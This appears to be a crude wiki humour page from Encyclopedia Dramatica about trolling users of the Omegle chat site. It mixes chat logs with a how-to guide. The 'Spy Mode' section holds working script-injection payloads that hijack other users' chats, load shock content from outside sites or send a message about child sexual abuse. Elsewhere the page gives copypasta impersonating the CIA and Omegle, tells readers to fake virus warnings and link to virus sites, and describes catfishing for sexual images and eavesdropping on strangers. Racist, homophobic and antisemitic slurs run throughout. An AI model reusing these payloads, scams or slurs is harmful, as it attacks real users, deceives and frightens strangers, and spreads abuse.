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𝗢𝗺𝗲𝗴𝗹𝗲 𝗵𝗮𝘀 𝗱𝗲𝘁𝗲𝗰𝘁𝗲𝗱 𝘁𝗵𝗮𝘁 𝘁𝗵𝗲 𝗜𝗣 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝗼𝗳 𝘁𝗵𝗲 𝘀𝘁𝗿𝗮𝗻𝗴𝗲𝗿 𝗶𝘀 𝘁𝗵𝗮𝘁 𝗼𝗳 𝗮 𝗿𝗲𝗴𝗶𝘀𝘁𝗲𝗿𝗲𝗱 𝘀𝗲𝘅 𝗼𝗳𝗳𝗲𝗻𝗱𝗲𝗿. 𝗣𝗹𝗲𝗮𝘀𝗲 𝗲𝘅𝗲𝗿𝗰𝗶𝘀𝗲 𝗰𝗮𝘂𝘁𝗶𝗼𝗻 𝘄𝗵𝗲𝗻 𝗿𝗲𝘃𝗲𝗮𝗹𝗶𝗻𝗴 𝗽𝗲𝗿𝘀𝗼𝗻𝗮𝗹 𝗶𝗻𝗳𝗼𝗿𝗺𝗮𝘁𝗶𝗼𝗻.


Or..


𝗢𝗺𝗲𝗴𝗹𝗲 𝗵𝗮𝘀 𝗱𝗲𝘁𝗲𝗰𝘁𝗲𝗱 𝘁𝗵𝗮𝘁 𝘁𝗵𝗲 𝗜𝗣 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝗼𝗳 𝘁𝗵𝗲 𝘀𝘁𝗿𝗮𝗻𝗴𝗲𝗿 𝗶𝘀 𝘁𝗵𝗮𝘁 𝗼𝗳 𝗮 𝗿𝗲𝗴𝗶𝘀𝘁𝗲𝗿𝗲𝗱 𝗢𝗺𝗲𝗴𝗹𝗲 𝗚𝗼𝗹𝗱 𝗠𝗲𝗺𝗯𝗲𝗿.

𝗬𝗼𝘂 𝗺𝗶𝗴𝗵𝘁 𝗻𝗼𝘁 𝗯𝗲 𝗮𝗯𝗹𝗲 𝘁𝗼 𝗿𝗲𝗮𝗱 𝗮𝗻𝘆𝘁𝗵𝗶𝗻𝗴 𝗵𝗲 𝗼𝗿 𝘀𝗵𝗲 𝗶𝘀 𝘁𝘆𝗽𝗶𝗻𝗴, 𝘂𝗻𝗹𝗲𝘀𝘀 𝘆𝗼𝘂 𝗵𝗮𝘃𝗲 𝗮𝗻 𝗢𝗺𝗲𝗴𝗹𝗲 𝗚𝗼𝗹𝗱 𝗔𝗰𝗰𝗼𝘂𝗻𝘁.

(TEMPORARY REFORMATING, PLEASE DO NOT UNDO THIS EDIT)

Omeglefauxlogo.jpg
   
 
This place is 50% people who

want to fuck me, 50% /b/tards...
 


 
 

—Anonymous.

You: hey'
Stranger: do you like azns?
You: no 
You: wtf 
Stranger: well i got one at the bottom of my street
Stranger: and he is a right cunt
You: falcon punch!
You: DO IT NOW 
Stranger: can u batter his head in please
Stranger: little slit eyed yellow man
You: FALCON PUNCH HIM!
Stranger: OKAAYYYYY
You: this is what you do in steps: 

1. go to the azn
2. falcon punch
3. ??? 
4. PROFIT!!!
Stranger: nice
Stranger: encyclopedia dramatica?
You: yes 
You: how the fuck do u know 
Stranger: cool story bro
Stranger: coz i read it too
You: i've got a question for u 
You: do u like m00t? 
Your conversational partner has disconnected.
You: /_____\_____________\____________/____\
|_______|_____________\__________|______|
|_______`._____________|_________|_______:
.\________|____________|_________\|_______|
_\_______|_/_________/__\\\___--___\\_______:
__\______\/_____--~~__________~--__|_\_____|
___\______\_-~___________________~-_\____|
____\______\_________.----------.________\|___|
______\_____\______//_________(_(__>__\___|
_______\___.__C____)_.you just_(_(____>__|__/
_______/\_|___C_____)/__got__\_(_____>__|_/
______/_/\|___C_____)___ass__|__(___>___/__\
_____|___(___C_____)\_raped_/__//___/_/_____\
_____|____\__|_____\\_________//__(__/______|
____|_\____\____)___`----___--'______________|
____|__\______________\_______/__________/_|
____|_____________/____|_____|__\___________|
____|____________|____./______\___\__________|_
___|____________/____..|_______|___\__________|
___|___________/_____..\___/\___/_____|_________|
___|__________/________|____|_______|_________|
__|__________|_________|____|_______|_________|
Stranger: piss of]
You: Yes you did
Stranger: fuckme
You: Yes fuck you.
Stranger: male or female
You: shitting dick nipples
Stranger: male
You: Female
Stranger: gay
You: Asshole
Talk to strangers!
You're now chatting with a random stranger. Say hi!
Official messages from Omegle will not be sent with the label 'Stranger:'. Strangers claiming to represent Omegle are lying.

You:
/_____\_____________\____________/____\
|_______|_____________\__________|______|
|_______`._____________|_________|_______:
.\________|____________|_________\|_______|
_\_______|_/_________/__\\\___--___\\_______:
__\______\/_____--~~__________~--__|_\_____|
___\______\_-~___________________~-_\____|
____\______\_________.----------.________\|___|
______\_____\______//_________(_(__>__\___|
_______\___.__C____)_.you just_(_(____>__|__/
_______/\_|___C_____)/__got__\_(_____>__|_/
______/_/\|___C_____)___ass__|__(___>___/__\
_____|___(___C_____)\_raped_/__//___/_/_____\
_____|____\__|_____\\_________//__(__/______|
____|_\____\____)___`----___--'______________|
____|__\______________\_______/__________/_|
____|_____________/____|_____|__\___________|
____|____________|____./______\___\__________|_
___|____________/____..|_______|___\__________|
___|___________/_____..\___/\___/_____|_________|
___|__________/________|____|_______|_________|
__|__________|_________|____|_______|_________|
Stranger: Oh that failed
Stranger: big time.
Stranger: Fuckin' new fags trying to goatsee.
You: Y u no like being ass raeped?
Stranger: Stop spreading your cancer you little shit
You: U mad?
Stranger: Before I rip your arm off and beat you with it
You: Lmao. Internet tough guys like you are fucking hilarious
You: XD
Stranger: I'm the most badass of them all.
Stranger: Learn to goatsee you prostate spreading shit.
Stranger: And get banned of /b/ plz.
You: Lol you mad ragefag?
You: Also I don't even go on /b/
Stranger: THANK GOD
Stranger: And yes, I'm smashing my head against the keyboard while I type this. I'm raging so incredibly bad.
You: lolwut?
Stranger: No, really, fix that goatsee, you're killing my boner. I can't see it.
You: okay then
You: http://www.goatse.ragingfist.net
You: That better?
Stranger: Oh god [[I came]] buckets.
Stranger: Wait... why would you even have that link?
Stranger: Like... Seriously?
You: My friend found it
Stranger: That's the most stupid excuse ever.
Stranger: Fuckin sick.. Cumming all over the keyboard is fine, but having a link to that. You make me sick you pervert.
You: u mad brah?
Stranger: I shall continue to enlighten you of my current actions. I still am and will be for the next 45 minutes and 32 seconds, smashing my head against the keyboard.
You: lolwut?

Your conversational partner has disconnected.
or switch to video or send us feedback
Was this conversation great? Download the log!
You're now chatting with a random stranger. Say hi!

You: NOTICE TO PARTICIPANT: The Central Intelligence Agency is logging a record of this chat along with the IP addresses of the participants due to possible violations of United States federal law. IMPORTANT: If you believe this chat to be logged in error, please state your reasons to the C.I.A. Monitoring agent observing this chat and quote reference number 3744956127. Failure to do so within the next 2 minutes will result in your IP address being entered in our criminal database and prosecution. Your IP address has been recorded by the Child Internet Service Protection Agency. Please wait while reference code 3744956127 is entered into the database.

Stranger: yer a wizard harry

Your conversational partner has disconnected.
Some Omegle users are insane.

Omegle is a gay site made last thursday using the already tried and true method of putting two anonymous people in one room and letting them chat. Alas, there is a twist!

The twist is that you have the option of revealing personal information. Yet, nothing good has come of this service except the creator's (Leif K Brooks) e-peen gaining a substantial amount of e-girth and these "anonymous" people just being retarded towards each other. Rinse, repeat, and you have 1-on-1 /b/ sessions. Due to chatroulette, as of March 13, 2010, webcams are now added.

There are over 9000 people on Omegle from Brazil, and even moar from Indonesia.

Ninety percent of all conversations begin with the following:

or



   
 
Stranger: are you Tod Goldstein McFarm?

You: no
Your conversational partner has disconnected.

 


 
 

—Wtf?

NOTE: As of last Thursday, there are more trolls on Omegle than real users. If this isn't true, it will be shortly, just give it a few days. Proof:

  • You're now chatting with a random stranger. Say hi!
  • You: is m00t a fag?
  • Stranger: Are 7927 people on here btards? Most likely. Glad you guys are having fun.
  • Your conversational partner has disconnected.
Robots are commonly found on Omegle. This is an epic battle of troll vs robot
Some of the most epic and downright most fucked up results of trolling come from baiting the stranger into having cyber with you and then fuckin with them. Classic use of goatse
Pedos?? in my Omegle?? It's moar likely than you think

Trolling Omegle is retardedly simple. However, since Leif K Brooks is a major fucking buzzkill, some methods must be changed. When even mentioning FBI, you get this bullshit:

If the above message says you have been reported to the FBI, it is not legitimate. Please ignore it.

Remember that every individual has its own trolling-receptors. If you are talking to a russian, then don't troll him as if he were a black person.

Obviously playing the party van on unsuspecting pedos is out of the question, but playing the CIA is not. Simply use the following copypasta:

NOTICE TO PARTICIPANT: The Central Intelligence Agency has logged a record of this chat along with the IP addresses of the participants due to violation of United States federal law. VIOLATION: Solicitation of a minor. IMPORTANT: If you believe this chat to be logged in error, please state your reasons to the C.I.A. Monitoring agent observing this chat and quote reference number 3744956127. Failure to do so within the next 2 minutes will result in your IP address being entered in our criminal database and prosecution. Your IP address has been recorded by the Child Internet Service Protection Agency. Please wait while reference code 3744956127 is entered into the database.

Yes, the CIA doesn't do this type of shit, but no one will know the difference in the end anyway. There are lulz to be had by all.

Moar trolling[edit]

Effective use of tip number one
  1. ctrl+v this copypasta: [WARNING: Omegle™ is required under United States Federal Law to inform you that the IP (98.179.227.210) of the person whom you are chatting with is linked to a registered sex offender. Omegle™ encourages you to consider this when giving out personal information. The stranger cannot see this message.]
  2. Press shift+enter to start a new line
  3. Add this to the beginning of your every message
  4. Carry on a conversation as normal


Since Omegle has that message about people impersonating actual Omegle messages, you can try this:


𝗢𝗺𝗲𝗴𝗹𝗲 𝗵𝗮𝘀 𝗱𝗲𝘁𝗲𝗰𝘁𝗲𝗱 𝘁𝗵𝗮𝘁 𝘁𝗵𝗲 𝗜𝗣 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝗼𝗳 𝘁𝗵𝗲 𝘀𝘁𝗿𝗮𝗻𝗴𝗲𝗿 𝗶𝘀 𝘁𝗵𝗮𝘁 𝗼𝗳 𝗮 𝗿𝗲𝗴𝗶𝘀𝘁𝗲𝗿𝗲𝗱 𝘀𝗲𝘅 𝗼𝗳𝗳𝗲𝗻𝗱𝗲𝗿. 𝗣𝗹𝗲𝗮𝘀𝗲 𝗲𝘅𝗲𝗿𝗰𝗶𝘀𝗲 𝗰𝗮𝘂𝘁𝗶𝗼𝗻 𝘄𝗵𝗲𝗻 𝗿𝗲𝘃𝗲𝗮𝗹𝗶𝗻𝗴 𝗽𝗲𝗿𝘀𝗼𝗻𝗮𝗹 𝗶𝗻𝗳𝗼𝗿𝗺𝗮𝘁𝗶𝗼𝗻.


Or..


𝗢𝗺𝗲𝗴𝗹𝗲 𝗵𝗮𝘀 𝗱𝗲𝘁𝗲𝗰𝘁𝗲𝗱 𝘁𝗵𝗮𝘁 𝘁𝗵𝗲 𝗜𝗣 𝗮𝗱𝗱𝗿𝗲𝘀𝘀 𝗼𝗳 𝘁𝗵𝗲 𝘀𝘁𝗿𝗮𝗻𝗴𝗲𝗿 𝗶𝘀 𝘁𝗵𝗮𝘁 𝗼𝗳 𝗮 𝗿𝗲𝗴𝗶𝘀𝘁𝗲𝗿𝗲𝗱 𝗢𝗺𝗲𝗴𝗹𝗲 𝗚𝗼𝗹𝗱 𝗠𝗲𝗺𝗯𝗲𝗿.

𝗬𝗼𝘂 𝗺𝗶𝗴𝗵𝘁 𝗻𝗼𝘁 𝗯𝗲 𝗮𝗯𝗹𝗲 𝘁𝗼 𝗿𝗲𝗮𝗱 𝗮𝗻𝘆𝘁𝗵𝗶𝗻𝗴 𝗵𝗲 𝗼𝗿 𝘀𝗵𝗲 𝗶𝘀 𝘁𝘆𝗽𝗶𝗻𝗴, 𝘂𝗻𝗹𝗲𝘀𝘀 𝘆𝗼𝘂 𝗵𝗮𝘃𝗲 𝗮𝗻 𝗢𝗺𝗲𝗴𝗹𝗲 𝗚𝗼𝗹𝗱 𝗔𝗰𝗰𝗼𝘂𝗻𝘁.


And just blank post, or type squares.

You can't normally bold text on Omegle, so it looks somewhat official. Some people can't see it because they have fail language support. Type your message first, hold shift and press Enter once, then paste the above message.



Say this:

  • "Trolling is a art". And see them reminding you of the "an" error. Feel free to experiment with other deliberate grammatical errors. Remember to keep a score of successful trolls and failtrolls.
  • "I'm a racist", Omegle consists of mostly common-minded sheep, so they will react to this with some kind of moral superiority.
  • "I'm a pedophile/rapist" Same reasons applies as above.
  • "I'm a girl". Go on and fool them as long as possible that you are interested in them, preferably sexually. The longer the better. And then in the end just say "ur a faggot, I have a penis" ???? Enjoy reaction. Or, alternatively, get them to go on webcam, then you are free to show them your smiling male face. Enjoy reaction.
  • "God bless you", "Jesus loves you", "Allah will save us all" or etc. godfaggot slurs, works on some atheist /b/tards
  • 卐卐卐卐卐卐卐卐卐卐卐卐卐 Or... ☭☭☭☭☭☭☭☭☭☭☭☭☭ . Posting these will probably get you disconnected.
  • Copypasta the entirety of Herman Melville's "Moby Dick; Or the Whale" Found here.
  • Saying "FBI" actually works when trolling because every time you do, the user will get this message:
If the above message says you have been reported to the FBI, it is not legitimate. Please ignore it.
  • Say that a virus is being downloaded into their computer then link to this [[1]]. Claim to represent Mcafee.

*These probably won't work now since they cleared the Omegle hoaxs up but still funny.

  • Claim to represent Omegle and tell them their free trial is up and that they're now being charged off their credit card 20 cents per conversation via cookies. Also saying to contact Omegle through the feedback button if they have any questions will provide extra lulz at the creators of the site.
  • Create an ad for a fake porn site. Make up a name such as DiscoUnip0rn.com. Use tinyurl.com to cover it up and instead link to [[2]] or another virus site. Put a message at the bottom that says "This has been a paid advertisement approved by the Omegle Team."


Also try saying the common controversial shit such as:

  • "Abortion is murder" - "Stem Cell Research is a sin" - "Large Hadron Collider will kill us all" - "Obama is a socialist"
  • "Playing games make you violent" - "Africans belong in Africa" - "Jews did/didn't do 9/11" - "Evolution/Bigbang is just a theory"
  • "AIDS is god's curse" "The Holocaust didn't happen" - "Homosexuality is a disease" - "† Jews killed Jesus †" - "Global Warming is a myth"

There is plenty of these topics on the net just search for "Controversial subjects" and enjoy heated reactions.

Note: Please add more phrases

  • Shock images in ASCII are always fun. for example:

Classic Goatse


/_____\_____________\____________/____\
|_______|_____________\__________|______|
|_______`._____________|_________|_______:
.\________|____________|_________\|_______|
_\_______|_/_________/__\\\___--___\\_______:
__\______\/_____--~~__________~--__|_\_____|
___\______\_-~___________________~-_\____|
____\______\_________.----------.________\|___|
______\_____\______//_________(_(__>__\___|
_______\___.__C____)_.you just_(_(____>__|__/
_______/\_|___C_____)/__got__\_(_____>__|_/
______/_/\|___C_____)___ass__|__(___>___/__\
_____|___(___C_____)\_raped_/__//___/_/_____\
_____|____\__|_____\\_________//__(__/______|
____|_\____\____)___`----___--'______________|
____|__\______________\_______/__________/_|
____|_____________/____|_____|__\___________|
____|____________|____./______\___\__________|_
___|____________/____..|_______|___\__________|
___|___________/_____..\___/\___/_____|_________|
___|__________/________|____|_______|_________|
__|__________|_________|____|_______|_________|

Hitler is always fun as well


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                        IMMORTAL LEADER
                          OF OUR RACE

For moar, see ED's ASCII art page. There are plenty of things there, from racial slurs to DESU. Just remember, Omegle deletes blank spaces, so you must post images that aren't full of black space. Or you could just fail.

Note: Please add moar images!

And Moar[edit]

Now, there should be no girls on the internet. However, it is always possible that one will find the key to the chain keeping her in the kitchen, and find her way to a computer. She will inevitably be "horny f." You have a moral obligation to use her for sex. Begin to cyber, getting pics if offered, and then fap as fap can. When you finish, however, it is time to enter troll mode. Remember - you need to make up for all that time you pretended to like this person. Make it clear that you were lying to her - say you're a girl, that you're 12 years old, that you suddenly have to vomit, or you can simply disconnect without any warning.


Bonus points if you use Append with the tactics above.

Trolling Tools[edit]

Trollegle[edit]

Tools like Trollegle can not only double your ability to troll, but get two people to simultaneously troll each other. You can play the middle-man and essentially take full control of two stranger's conversation. Used correctly, many lulz can be had amidst the confusion.

You could also use it to eavesdrop on random conversations. You'll find that 99% of them are shit.

(Also, why spy on Omegle's text chats when you can spy on their cams? ChatRoulette, too.)

Use Google translator to confuse and flame users in other languages.

CleverOmegle[edit]

Another way to troll people is by having Cleverbot troll for you; in other words, if you're too much of an idiot or too lazy to troll, yourself, Cleverbot is here to do it for you!

Spy on Omegle[edit]

Spy on Omegle is a useful program which, as the name suggests, allows you to spy on other Omegle conversations and talk to both strangers with names made up by the program. The program comes as a .jar file and will only run on Windows and Lunix systems (Mac lusers are gonna need Xcode). Like any other freeware software on the internet, it is loaded with more viruses and bloatware than a cheap Asian hooker. Okay, just kidding there.

How to use it[edit]

  1. Download the updated program here.
  2. Open it
  3. Click 'Start New Conversation'
  4. Put on trollface
  5. ???
  6. PROFIT

If you come across errors of any kind, they are usually easily fixed by visiting Omegle and filling out the craptcha (or you could just wait 10 seconds before jumping to another conversation). As of August 2010, the creator[[3]] of the programme has made a new version available which circumvents this issue by filling in a craptcha each time you interlope on someone's chat. The above link has been corrected to link to the updated, fully compiled version with expanded name list.

What if you get b& or v&[edit]

Don't worry. It is perfectly legal. We think. Apparently, due to the fact that Omegle itself doesn't have a terms of service policy, spying on other people's conversations is perfectly okay.

THE BEST CONVERSATION EVAR[edit]

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You're now chatting with a random stranger. Say hi!
Official messages from Omegle will not be sent with the label 'Stranger:'. Strangers claiming to represent Omegle are lying.
You: hello
You: asl?
Stranger: hi
Stranger: asl
Stranger: 21 f
You: L?
Stranger: indo
Stranger: u??
You: 20 m russia
Stranger: ok
Stranger: nice
Stranger: r u student??
You: kinda
You: im conscripted to the military
Stranger: wow...
You: im in a sumbarine
Stranger: thats cool...
You: :))
You: thanks
Stranger: whats ur name??
Stranger: u r welcome
You: bela
Stranger: wowwww
Stranger: u r amazing woman...
You: no im a man
You: lol
Stranger: owh so sorry
You: i hate my name lol
Stranger: oh im so sorry...
You: my mother was hungarian thats why i have an hungarian name
Stranger: dont hate ur name
Stranger: whats ur name mean??
You: its a popular name in hungary
Stranger: oh,, thats gud...
You: its my name of my granpapa
Stranger: im so sorry coz i dont know...
You: its ok
Stranger: thax...
Stranger: what r u doing??
You: surfin the net
You: its my break time
Stranger: okok...
Stranger: how about in military??
Stranger: so interesting??
You: not really that interesting
You: we dont get to shoot here
You: we only do physics
Stranger: ok...
Stranger: i think u like shooting...
Stranger: right??
You: yeah a bit
You: when im off the sub
You: i spend my time
You: with martial arts and
You: most of the time
You: with the "party
You: "party"
Stranger: what do u mean "party"??
You: ☭ Communist party of saint petersburg
You: i'm in charge of lecturing about the doctrines
Stranger: i dont understand...
Stranger: sorry
You: its ok
You: your from indo right
Stranger: ya
You: im in vladivostok
Stranger: u r right
You: right now
Stranger: okok...
You: its near china
You: tommorrow
You: were going to indonesia!
You: haha
You: were just going to stop over
You: for 2 days
You: for food
You: not gas
You: because our sub is nuclear powered
Stranger: for what u going to indonesia??
You: were gonna dock at belawan
Stranger: i dont think so...
You: wanna meet up
You: ??
Stranger: dock about what??
You: no our sub is gona dock at belawan tommorow
You: wanna meet up?
Stranger: im in java island...
You: ...too bad
Stranger: and so far from belawan...
You: its ok
Stranger: i wanna meet with u...
Stranger: but its too hard...
You: its ok
Stranger: only in belawan??
You: i think so
Stranger: not in jakarta??
You: thats what i have heard
Stranger: ok
You: our ship is now at shanghai
You: were gonna pik up some goods here
You: "secret goods"
Stranger: what is??
You: thats why they used our submarine creww
Stranger: can i know??
You: some kind of a biological missle
Stranger: after that u will go to indonesia...
You: yes
Stranger: wwhat will u do here??
You: were going to eat
You: and refill our food stock
Stranger: okok...
Stranger: wwhy in belawan??
You: i don no
You: i think a north korean ship
You: will
You: come
You: and
You: trade
You: the missile we got for some kind of viros
Stranger: and then??
You: i mean computer virus
Stranger: after that where wiill u go??
You: then i think were oft to vladivostok to hand over the
You: computer virus
You: then were goin to stay there and w8 for NoKor to use the missiles
Stranger: for what that computer virus??
You: for the mission
Stranger: where??
You: when nokor use the missles to attack america and s korea
Stranger: wowwww
Stranger: its still happen??
You: i think our hackers will use the virus to shut down the nokor drones
You: then our ship will bombard nokor and the russian army will invade nokor
Stranger: what is the nokor??
You: north korea
You: then back at moskva
You: vladimir putin will re in state the soviet union
You: he will order the army to invade middle east
You: then if america intervines
Stranger: why??
You: he wants all religion to me elimintated
You: when americans intervene
You: its oiur crews job
You: to attack
You: america
You: were gonna attack san francisco
Stranger: why ??
You: while the army cross to alaska
You: why? its because were gonna finish what we started
You: Its For the mother land
Stranger: wow its so amazing for me...
You: did you know
You: that
Stranger: but i just understand lillte...
Stranger: i dont like war,, attack...
You: yeah me too
You: but its for the mother land
Stranger: u will make much people die...
You: ja
Stranger: mother land??
You: USSR
Stranger: what iis??
You: By 6 days russia will be USSR again
Stranger: why u tell me about everything??
Stranger: is that secret??
You: i dont know
You: lol
You: XD
You: dammit
You: i just feel
You: that you are trust worthy
You: and that you will not tell anyone specially the gov
You: afterall they will not believe you
Stranger: ya u r right
You: did you know
Stranger: i will do not saying all to gov...
Stranger: what??
You: americans payed some israeli special troops to hi jack planes
You: and crush it on 9/11
You: so that the whole world will hate muslims
Stranger: ya i know...
Stranger: and i so hate america and israel
You: they did that so they can attack iraq and afghanistan
You: so they can get cheaper oil
Stranger: ya,, they have many manipulation...
Stranger: they so cheat...
Stranger: i think oneday they will be broke up...
You: i heard awhile ago that were gonna shoot anywone who intervines
You: in belawan
You: if the coast guard intervines

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Stranger: really??
You: yeah
Stranger: why they do that??
You: i heard it from my droogy
You: if they try to stop us from meeting with the Nokor ship
Stranger: its not fair...
You: by 2 years
You: USSR will rule the world
You: and our beloved Emperor of mankind vladimir putin will be the Emperor of mankind
Stranger: i just everyone in the world can respect each other and justice in life can be true...
You: i heard from a KGB agent here in our sub thet he wants to be known as agod
Stranger: thanks for ur information...
You: w8
Stranger: but so sorry
You: he will eliminate other religions
Stranger: i must go...
You: Why so soon
Stranger: not fair...
Stranger: why he do that??
Stranger: im so sleepy...
You: he will send all of them to Gulags(Force labor)
Stranger: i will do to sleep...
You: and the 3 great religions
Stranger: go to slep i mean...
You: will be subjected to Genocide
Stranger: what is??
Stranger: so sorry,,,
Stranger: im so sleepy
You: Catholics Islam and jews
You: ok
Stranger: we can chat next time
You: i will just
You: liike to say
You: that
You: i like you
You: lol
You: i might not live
You: after 3 days
You: bye
Stranger: why??
You: because of my mission]
Stranger: its so strange...
Stranger: why do u say that??
You: its very dangerous mission
Stranger: oh my god
Stranger: im so sad bela...
Stranger: i hope u will be save
Stranger: and we can meet someday..
You: I just hope the motherland will be benifited
Stranger: u r so loyal...
You: farewell i have to go
You: ☭☭☭☭☭☭☭☭☭☭☭☭☭
You: were near the philippines
You: BYE...
Stranger: ok...
Stranger: bye
You: see you in the afterlife if there is
Stranger: gud luck...
You: thanks
Stranger: im pray for u...
You: btw
Stranger: be success
You: are you a muslim?
Stranger: and do the best
Stranger: ya im moslem
Stranger: so??
You: i just hope
Stranger: what will u say??
You: you dont suffer when
You: Putin
You: eliminates all religions
You: :(
Stranger: ok
You: i dont want you to get hurt
Stranger: thax...
Stranger: i have allah...
Stranger: allah will help me...
Stranger: if i must die,, its my destiny...
You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь
Stranger: thax for ur carrying...
You: bye my break is over
Stranger: whats that??
You: again
You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь
You: use an translator
Stranger: what is that??
Stranger: can u tell me??
Stranger: okok...
Stranger: i will do that...
You: remember me
You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь
Stranger: ok
Stranger: me too
You: fare well
You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь
You: Я люблю тебя Прощай, моя дорогая, мы встретимся в загробную жизнь
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(Used OmegleSpy for this one)...
[17:08:56] Finding two strangers...
[17:09:05] Verona connected
[17:09:05] Kindra connected
[17:09:07] <<Verona>>: hi, 20m, cock for boobs on msn or skype? Please help me cum...
[17:09:10] Verona disconnected
[17:09:11] <<Kindra>>: hi
[17:09:14] {{from Verona}}: hello
[17:09:17] <<Kindra>>: ASL
[17:09:19] {{from Verona}}: why
[17:09:41] <<Kindra>>: just to know
[17:09:54] {{from Verona}}: 11 m mn
[17:10:08] <<Kindra>>: mn means
[17:10:12] {{from Verona}}: minnesota
[17:10:27] <<Kindra>>: where is this
[17:10:33] {{from Verona}}: usa
[17:10:56] <<Kindra>>: ok
[17:11:02] {{from Verona}}: ill only tell you the truth
[17:11:10] {{from Verona}}: if you are a girl or are russian
[17:11:30] <<Kindra>>: no i'm
[17:11:38] <<Kindra>>: 20\\m\\ind
[17:11:44] {{from Verona}}: fucking indians.
[17:11:59] <<Kindra>>: u rascal
[17:12:07] {{from Verona}}: putting a horrible mark on all of us programmers
[17:12:21] <<Kindra>>: i fuck ur mother
[17:12:25] {{from Verona}}: oooooh
[17:12:29] {{from Verona}}: that hurts so much
[17:12:31] <<Kindra>>: ur sis
[17:12:37] {{from Verona}}: dont have one
[17:12:38] <<Kindra>>: really
[17:12:56] <<Kindra>>: then fuck u
[17:12:59] {{from Verona}}: oh my
[17:13:01] {{from Verona}}: you're gay?
[17:13:06] <<Kindra>>: yeah
[17:13:14] {{from Verona}}: only furthering my point
[17:13:17] <<Kindra>>: i'm a gay
[17:13:35] {{from Verona}}: really now
[17:13:53] <<Kindra>>: yes r u interested
[17:13:55] {{from Verona}}: why did you insist on fucking my mother and my nonexistant sister
[17:14:08] {{from Verona}}: im interested on why you keep digging yourself a hole
[17:14:33] <<Kindra>>: just cum 7 c
[17:14:56] {{from Verona}}: see
[17:15:00] {{from Verona}}: now you have nothing to say
[17:15:10] {{from Verona}}: because you know yourself that you're contradicting yourself
[17:15:20] <<Kindra>>: hw's ur mother
[17:15:27] {{from Verona}}: god knows
[17:15:31] {{from Verona}}: thought you fucked her
[17:15:32] {{from Verona}}: you tell me
[17:15:51] <<Kindra>>: is she a protitute
[17:16:01] {{from Verona}}: again, you tell me
[17:16:04] {{from Verona}}: besides
[17:16:08] {{from Verona}}: why would you be interested
[17:16:11] {{from Verona}}: thought you're gay?
[17:16:39] <<Kindra>>: i'm not gay i'm just lieng
[17:16:55] {{from Verona}}: now you come out of the closet
[17:17:04] <<Kindra>>: just ask ur mother
[17:17:06] {{from Verona}}: you're a credit to homosexuals all around the world
[17:17:21] {{from Verona}}: for i cannot further this, i have real work to do
[17:17:23] <<Kindra>>: is she interested
[17:17:40] {{from Verona}}: enjoy your life now that you're out of the closet
[17:17:41] Kindra disconnected

Evidence of Trolls[edit]

The chat service has been a breeding ground for chat logs of mostly mundane--don't get me wrong, occasionally they are funny--humor. These can be viewed as such sites as Omeglechats.com where users are free to submit their own chatlogs for attempts at internet fame.

Gallery[edit]

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On 4chan[edit]

Make This Face. About missing Pics
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Links[edit]

Video Chat[edit]

Because of how Chatroulette was reporting that they had over 200,000 users on at any given time, Omegle wanted to get in on the action.
So Omegle Admins created a similar service tied into omegle that allows you to:

  1. chat with random people.
  2. fuck with random people.
  3. fap to hot chicks.
  4. watch fat people fap.
  5. cyber with hot chicks.

Omegle as a tool to learn Engrish[edit]

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It's been proven a fact that 99.9% of all Omegle users you will ever talk to are AZNZ trying to practice their Engrish. This use of Omegle as a learning tool falls flat on its face as the typical conversation goes like this:

  • Stranger1: hi
  • Stranger2: hi. a/s/l?
  • Stranger1: 14/m/korea i iz trying to praktise my enrish pleez excuse
  • Stranger2: oh, okay...
  • Stranger1: ...
  • Stranger2: ...
  • Stranger1: cocks

The New Rules[edit]

  1. Go to omegle.com & start a chat
  2. Tell the stranger about an updated Omegle & link to it. (don't click it yourself, dickwad)
  3. Lulz ensues.

Omegle Spy Mode[edit]

On August 6th 2011, Omegle introduced a spy mode. You ask questions, and two stangers answer it. This can be abused for epic lulz. In the question box, put in one of the following scripts.

"\")); document.getElementsByClassName('logitem')[1].innerHTML='<img  src="http://goatse.info/hello.jpg" ; />'; }catch( e ){} //"
\")); document.getElementsByClassName('logitem')[1].innerHTML='<embed src="http://meatspin.com/mspin_counter.swf" width="500" height="300" </embed>'; }catch( e ){} //
  • Strangers won't talk? Make 'em talk with this script.
\")); document.getElementsByClassName('chatmsg')[0].value='i just fucked my sister.. she is 8, damn tight..'; document.getElementsByClassName('sendbtn')[0].click();}catch( e ){} //
  • Limewire piracy pisstake.
"\")); document.getElementsByClassName('logitem')[1].innerHTML='<embed src="http://www.cristgaming.com/pirate.swf" width="500" height="300" </embed>'; }catch( e ){} //
  • Gardernerplants - a shock swf.
\")); document.getElementsByClassName('logitem')[1].innerHTML='<embed src="http://www.gardenerplants.com/shockywocky.swf" width="500" height="300" </embed>'; }catch( e ){} // 
Using scripts on Omegle's spy mode can generate priceless amounts of lulz.

UPDATE: The scripts no longer work thanks to summerfags forgetting to uncheck the "I want Omegle to reuse this question if it's good enough" box. Thanks a lot summerfags Once again you've fucked up something lulzy.

Logs[edit]

Here are some examples of the enlightening conversations being had thanks to this wonderful service:

Logs 1

Logs 2

Logs 3

Logs 4

See Also[edit]

External Links[edit]


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